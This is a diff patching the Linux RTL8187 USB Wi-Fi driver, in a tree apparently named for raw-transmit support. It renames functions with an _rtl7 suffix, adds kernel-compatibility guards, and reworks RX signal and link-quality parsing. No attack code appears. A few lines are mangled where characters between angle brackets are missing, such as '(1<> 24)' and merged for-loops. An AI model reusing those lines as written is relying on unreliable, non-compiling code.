DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c~ 2006-06-22 01:40:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,2527 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 - Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon. - - Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - - some ideas might be derived from David Young rtl8180 netbsd driver. - - Parts of the usb code are from the r8150.c driver in linux kernel - - Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the - Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - - Please note that this file is a modified version from rtl8180-sa2400 - drv. So some other people have contributed to this project, and they are - thanked in the rtl8180-sa2400 CHANGELOG. -*/ - -#ifndef CONFIG_FORCE_HARD_FLOAT -double __floatsidf (int i) { return i; } -unsigned int __fixunsdfsi (double d) { return d; } -double __adddf3(double a, double b) { return a+b; } -double __addsf3(float a, float b) { return a+b; } -double __subdf3(double a, double b) { return a-b; } -double __extendsfdf2(float a) {return a;} -#endif - -#undef LOOP_TEST -#undef DUMP_RX -#undef DUMP_TX -#undef DEBUG_TX_DESC2 -#undef RX_DONT_PASS_UL -#undef DEBUG_EPROM -#undef DEBUG_RX_VERBOSE -#undef DUMMY_RX -#undef DEBUG_ZERO_RX -#undef DEBUG_RX_SKB -#undef DEBUG_TX_FRAG -#undef DEBUG_RX_FRAG -#undef DEBUG_TX_FILLDESC -#undef DEBUG_TX -#undef DEBUG_IRQ -#undef DEBUG_RX -#undef DEBUG_RXALLOC -#undef DEBUG_REGISTERS -#undef DEBUG_RING -#undef DEBUG_IRQ_TASKLET -#undef DEBUG_TX_ALLOC -#undef DEBUG_TX_DESC - -//#define CONFIG_RTL8180_IO_MAP - -#include "r8180_hw.h" -#include "r8187.h" -#include "r8180_rtl8225.h" /* RTL8225 Radio frontend */ -#include "r8180_93cx6.h" /* Card EEPROM */ -#include "r8180_wx.h" - - -// FIXME: check if 2.6.7 is ok -#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) -#define usb_kill_urb usb_unlink_urb -#endif - -#ifdef CONFIG_RTL8180_PM -#include "r8180_pm.h" -#endif - -#ifndef USB_VENDOR_ID_REALTEK -#define USB_VENDOR_ID_REALTEK 0x0bda -#endif -#ifndef USB_VENDOR_ID_NETGEAR -#define USB_VENDOR_ID_NETGEAR 0x0846 -#endif - -static struct usb_device_id rtl8187_usb_id_tbl[] = { - {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6a00)}, - - {} -}; - -static char* ifname = "wlan%d"; -#if 0 -static int hwseqnum = 0; -static int hwwep = 0; -#endif -static int channels = 0x3fff; - -MODULE_LICENSE("GPL"); -MODULE_VERSION("V 1.1"); -MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); -MODULE_AUTHOR("Andrea Merello "); -MODULE_DESCRIPTION("Linux driver for Realtek RTL8187 WiFi cards"); - -#if 0 -MODULE_PARM(ifname,"s"); -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); - -MODULE_PARM(hwseqnum,"i"); -MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); - -MODULE_PARM(hwwep,"i"); -MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); - -MODULE_PARM(channels,"i"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 9) -module_param(ifname, charp, S_IRUGO|S_IWUSR ); -//module_param(hwseqnum,int, S_IRUGO|S_IWUSR); -//module_param(hwwep,int, S_IRUGO|S_IWUSR); -module_param(channels,int, S_IRUGO|S_IWUSR); -#else -MODULE_PARM(ifname, "s"); -//MODULE_PARM(hwseqnum,"i"); -//MODULE_PARM(hwwep,"i"); -MODULE_PARM(channels,"i"); -#endif - -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); -//MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); -//MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id); - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); - -static struct usb_driver rtl8187_usb_driver = { - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 16) - .owner = THIS_MODULE, -#endif - .name = RTL8187_MODULE_NAME, /* Driver name */ - .id_table = rtl8187_usb_id_tbl, /* PCI_ID table */ - .probe = rtl8187_usb_probe, /* probe fn */ - .disconnect = rtl8187_usb_disconnect, /* remove fn */ -#ifdef CONFIG_RTL8180_PM - .suspend = rtl8180_suspend, /* PM suspend fn */ - .resume = rtl8180_resume, /* PM resume fn */ -#else - .suspend = NULL, /* PM suspend fn */ - .resume = NULL, /* PM resume fn */ -#endif -}; - - -void write_nic_byte_E(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xfe00, 0, &data, 1, HZ / 2); -} - - -void write_nic_byte(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 1, HZ / 2); -} - - -void write_nic_word(struct net_device *dev, int indx, u16 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 2, HZ / 2); -} - - -void write_nic_dword(struct net_device *dev, int indx, u32 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 4, HZ / 2); -} - - - -u8 read_nic_byte(struct 